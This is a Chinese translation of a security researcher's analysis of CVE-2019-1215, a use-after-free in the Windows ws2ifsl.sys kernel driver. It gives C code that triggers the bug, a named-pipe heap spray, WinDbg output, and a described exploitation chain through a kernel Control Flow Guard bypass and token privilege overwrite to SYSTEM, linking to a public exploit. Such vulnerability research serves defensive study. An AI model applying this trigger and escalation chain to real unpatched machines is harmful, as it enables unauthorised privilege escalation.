[翻译]CVE-2019-1215 ws2ifsl驱动UAF漏洞分析

——关于Windows内核ws2ifsl.sysUAF漏洞的根本原因分析。

原文地址:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/

前言

下面的博客文章讨论了近期修补ws2ifsl驱动的UAF漏洞(CVE-2019-1215),可用来进行本地权限提升。这个bug可在Windows 7, Windows 8, Windows 10, Windows 2008, Windows 2012 and Windows 2019复现。2019年9月10日,微软已将对此漏洞进行了修复,详细信息点击这里

ws2ifsl的背景介绍

为了更好的理解此篇分析,我们必须介绍一下此漏洞驱动的背景信息。关于此驱动没有任何公开文档说明,大部分的信息都是通过逆向得出的。ws2ifsl是一个与winsocket相关的组件。

此驱动实现了两个对象:

  • 一个进程对象
  • 一个socket对象

驱动实现了几种可被用户调用的派遣例程。当调用NtCreateFile函数且参数filename被设置为\Device\WS2IFSL\,将到达派遣立场DispatchCreate 。此函数函数基于_FILE_FULL_EA_INFORMATION.EaName中的字符串进行分支,如果是NifsPvd,将会调用CreateProcessFile;如果是NifsSct,将会调用CreateSocketFile.

函数CreateProcessFile和CreateSocketFile都用连创建内部对象,我们且称之为‘proData’和‘socketData’。在创建完成之后,这些对象被保存在派遣例程中创建的文件对象的 _FILE_OBJECT.FsContext字段。

文件对象是可以在usermode中使用从NtCreateFile返回的句柄访问的对象。句柄可用于执行对DeviceIoControl或WriteFile的调用。这意味着’procData’和’sockedData’对象不会直接用ObfReferenceObject和ObfDereferenceObject进行引用计数,但是基础文件对象是。

驱动程序实现两个异步过程调用(APC)对象,称为“请求队列”和“取消队列”。APC是一种在另一个线程中异步执行函数的机制。 由于可以强制在另一个线程中执行多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。

‘procData’对象包含这两个APC对象,这些对象由CreateProcessFile中调用InitializeRequestQueue和InitializeCancelQueue进行初始化。 APC对象由KeInitializeApc初始化,并接收目标线程和函数作为参数。 此外,还设置了处理器模式(内核或用户模式)以及rundown 例程。 如果是ws2ifsl,则rundown例程为RequestRundownRoutine和CancelRundownRoutine,并且处理器模式设置为usermode。如果线程在APC有机会在线程内执行之前死亡, 内核将调用这些rundown例程用于清理 。之所以会发生这种情况,是因为仅当APC设置为可警告状态时,才计划将其在线程内执行。 例如在第二个参数设置为TRUE的情况下调用SleepEx,则可以将线程设置为可警告状态。

驱动程序还在DispatchReadWrite中实现了读取和写入派遣例程,该例程只能由套接字对象访问,并调用DoSocketReadWrite。 另外,负责通过调用SignalRequest函数(此函数调用nt!KeInsertQueueApc)将APC元素添加到APC队列中。

与驱动程序通信

在大部分情况下,驱动程序会创建一个符号链接,其名称可以用作CreateFileA的文件名,但是ws2ifsl并非如此。它只会调用nt!IoCreateDevice(DeviceName设置为\Device\WS2IFSL)。 但是,通过调用本地API NtOpenFile,可以访问创建派遣函数ws2ifsl!DispatchCreate。 以下代码可用于完成此操作:

1
2
3
4
5
6
7
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");
OBJECT_ATTRIBUTES object;
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock ;
NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);

DispatchCreate函数将检查open调用的扩展属性。 只能使用NtCreateFile系统调用来设置此属性。

对于process对象,扩展属性(ea)数据缓冲区必须包含一个属于当前进程的线程句柄,然后我们有一个设备句柄,我们可以使用它来做进一步的操作。

补丁分析

现在我们已经介绍了背景知识,我们可以切换到补丁分析。补丁分析首先比较未补丁的10.0.18362.1和打补丁的10.0.18362.356的ws2ifsl.sys。

我们可以很快看到仅修补了几个函数:

  • CreateProcessFile
  • DispatchClose
  • SignalCancel
  • SignalRequest
  • RequestRundownRoutine
  • CancelRundownRoutine

如下所示:

img

打完补丁的版本包含了一个新函数:

  • DereferenceProcessContext

最明显的变化是,所有更改的函数都包含对新函数DereferenceProcessContext的新调用。如下图所示:

img

接下来要注意的是,“ procData”对象已由新成员进行了延伸,现在使用引用计数。 例如,在负责所有初始化的CreateProcessFile中,此新成员设置为1。

1
2
3
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->field_100 = 0;

vs

1
2
3
4
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->dword100 = 0;
procData->referenceCounter = 1i64; // new

DereferenceProcessContext函数还会检查引用计数并调用nt!ExFreePoolWithTag或仅返回。

还修补了驱动程序的关闭派遣例程DispatchClose函数。 新版本将调用从调用nt!ExFreePoolWithTag更改为调用DereferenceProcessContext。 这意味着有时(如果引用计数器不为零)不会释放“ procData”,而只会将其引用计数减一。

SignalReqest中的修复会在调用nt!KeInsertQueueApc之前增加引用计数器。

问题存在于,即使请求已经在APC队列中,也可以使用DispatchClose函数释放’procData’对象。 每当结束文件句柄的最后一个引用时(通过调用CloseHandle),都会调用DispatchClose函数。 该补丁修复了UAF问题,因为rundown例程等可以访问已释放的数据。

该修补程序通过使用新的引用计数器来确保仅在结束缓冲区的最后一个引用之后才释放缓冲区。 如果使用rundown例程(包含引用),则在函数末尾使用DereferenceProcessContext删除引用。

并在调用nt!KeInsertQueueApc之前增加引用计数。 如果发生错误,nt!KeInsertQueueApc将会失败,该引用也会被删除(避免内存泄漏)。

触发漏洞

要触发该漏洞,所需要做的就是创建一个“ procData”句柄,一个“ socketData”句柄,将一些数据写入“ socketData”并关闭两个句柄。 线程终止调用APC rundown例程,该例程将使用释放的数据。 以下代码将触发该错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<..>
in CreateProcessHandle:

g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
eaData->a1 = (void*)g_hThread1; // thread must be in current process
eaData->a2 = (void*)0x2222222; // fake APC Routine
eaData->a3 = (void*)0x3333333; // fake cancel Rundown Routine
eaData->a4 = (void*)0x4444444;
eaData->a5 = (void*)0x5555555;

NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
DWORD supSuc = SuspendThread(g_hThread1);
<..>
in main:

HANDLE procHandle = CreateProcessHandle();
HANDLE sockHandle = CreateSocketHandle(procHandle);

char* writeBuffer = (char*) malloc(0x100);

IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;

CloseHandle(procHandle);

NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

我们可以验证这个行为,当在DispatchClose和requestrundown例程的空闲处下断点:

1
2
3
4
5
6
7
8
9
10
11
Breakpoint 2 hit
ws2ifsl!DispatchClose+0x7d:
fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0)
1: kd> db rcx
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
1: kd> g
Breakpoint 0 hit
ws2ifsl!RequestRundownRoutine:
fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> db rcx-30
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............

由于’procData’对象已被释放,因此rundown例程将使用释放的数据。 在大多数情况下,这不会崩溃,因为未重新分配数据块。

堆喷射

在我们知道如何触发错误之后,我们可以切换到漏洞利用了。 做到这一点的第一步是回收释放的分配。

首先,我们需要知道缓冲区的大小和分配池。

在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged池上,大小为0x120字节。

1
2
3
4
5
1: kd> !pool ffff8b08905e9910
Pool page ffff8b08905e9910 region is Nonpaged pool
<..>
*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080
Owning component : Unknown (update pooltag.txt)

可以通过查看ws2ifsl!CreateProcessFile中的缓冲区分配来验证它:

1
2
3
4
PAGE:00000001C00079ED mov     edx, 108h       ; size
PAGE:00000001C00079F2 mov ecx, 200h ; PoolType
PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag
PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag

在Nonpaged池上完成任意大小的受控分配的可靠方法是使用命名管道:Alex Ionescu在介绍了此技术。 以下代码可用于分配多个0x120字节的缓冲区同时带有用户可控的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int doHeapSpray()
{
for (size_t i = 0; i < 0x5000; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength;
UCHAR payload[0x120 - 0x48];
RtlFillMemory(payload, 0x120 - 0x48, 0x24);//$

BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));

res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 0;
}

如果我们将此堆喷射合并到触发该漏洞的代码中,则会在nt!KiInsertQueueApc中得到一个错误检查。 崩溃是由于链表操作上的安全冲突。

1
2
3
4
5
6
7
8
.text:00000001400A58F6 mov     rax, [rdx]
.text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx
.text:00000001400A58FD jnz fail_fast
<..>
.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j
.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ...
.text:00000001401DC2EA mov ecx, 3
.text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx)

错误检查恰好在int 29指令处进行。 在崩溃时检查寄存器时,我们可以看到RAX寄存器指向我们受控的用户数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000

0: kd> dq ffff8b08905e82d0
ffff8b08`905e82d0 24242424`24242424 24242424`24242424
ffff8b08`905e82e0 24242424`24242424 24242424`24242424
ffff8b08`905e82f0 24242424`24242424 24242424`24242424
ffff8b08`905e8300 24242424`24242424 24242424`24242424
ffff8b08`905e8310 24242424`24242424 24242424`24242424
ffff8b08`905e8320 24242424`24242424 24242424`24242424
ffff8b08`905e8330 24242424`24242424 24242424`24242424
ffff8b08`905e8340 24242424`24242424 24242424`24242424

导致崩溃的调用堆栈如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

由于主线程结束,因此触发了错误检查。 发生这种情况的原因是因为损坏的APC仍在队列中,并且取消链接操作对损坏的数据起作用。 因为前向和后向指针已损坏并且没有指向有效的链接列表,所以安全取消链接会检测到此损坏和错误检查。

KeRundownApcQueues

需要更改使用已释放APC元素的代码,以将其转换为有用的内容。

当bug被触发,旧的‘procData’被覆盖后,APC排队的线程需要退出。如果这样做了,内核将调用函数nt!KeRundownApcQueues,它在nt!KiFlushQueueApc内部检查错误因为它访问损坏的数据。

但是,这一次我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针是使用指向“ kthread”内部的值进行检查的。假设我们以中等完整性级别运行,则可以使用对带有SystemHandleInformation的NtQuerySystemInformation的调用来泄漏“ kthread”的地址。如果我们使用’kthread’地址制作回收的’procData’,则可以避免错误检查,并且nt!KeRundownApcQueues会尝试在’procData’对象内执行用户控制的函数指针。

绕过kCFG

在控制了要执行的函数指针之后,我们将克服一些障碍。 对于这种攻击,KASLR并不是问题,因为可以泄漏ntoskrnl基地址。 在中等完整性级别下,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。 因此,我们现在至少知道我们可以将执行转移到哪里。

但是,APC函数指针调用由Microsoft的称为内核控制流防护(Kernel Control Flow Guard)的CFI实现保护。 如果我们尝试调用任何随机的“面向返回编程”(ROP)小工具,则内核将通过错误检查来解决。

幸运的是,从CFG角度来看,函数开始都是有效的分支目标,因此我们知道可以不停地调用什么。 在nt!KeRundownApcQueues中调用函数指针时,第一个参数(rcx)指向’procData’缓冲区,第二个参数(rdx)为零。

我们可以使用的另一种可能性是通过调用本机函数NtTestAlert来调用APC函数指针。 使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向’procData’缓冲区,第二个参数(rdx)也指向它。

在寻找小函数之后,根据给定的约束执行有趣的事情,我们找到了一个候选对象:nt!SeSetAccessStateGenericMapping。

如下所示,nt!SeSetAccessStateGenericMapping可用于执行16字节的任意写入。

img

不幸的是,这16个字节的后半部分未被完全控制,但是前8个字节是基于堆喷射所提供的数据。

令牌替换

一旦有了强大的任意写原语,就可以做很多事情。在旧的Windows版本上,有很多技术可以将任意写入转换为完整的内核读取写入原语。在最新版本的Windows 10中,这些技术中的许多都得到了改进。仍在起作用的技术是令牌覆盖技术。它最初于2012年在Cesar Cerrudo的 “Easy local Windows Kernel Exploitation“出版物中发布,过去我们已经使用过它。这个想法是破坏位于_TOKEN对象内的_SEP_TOKEN_PRIVILEGES对象。 最简单的方法是使用所有启用的位来覆盖此结构的Present和Enable成员。这将保证我们SeDebugPrivilege特权,这将使我们能够将代码注入诸如’winlogon.exe’之类的高特权进程中。

我们需要触发两次错误才能可靠地覆盖16个字节的令牌结构。 但是这似乎没有造成任何麻烦。

获得系统权限

一旦注入到系统过程中,基本就结束了。 现在,运行“ cmd.exe”,以提供交互式命令外壳。 避免了kCFG和SMEP的任何其他问题,因为不会在错误的上下文中执行ROP或执行任何ring 0代码。

利用

最终利用目标是Windows 10 19H1 x64,可以在这里找到https://github.com/bluefrostsecurity/CVE-2019-1215。 在以中等完整性特权执行漏洞利用时,成功的漏洞利用会产生一个具有系统特权的新cmd.exe。

参考

羊年内核堆风水: “Big Kids’ Pool”中的堆喷技术

https://blog.csdn.net/weixin_33955681/article/details/87981469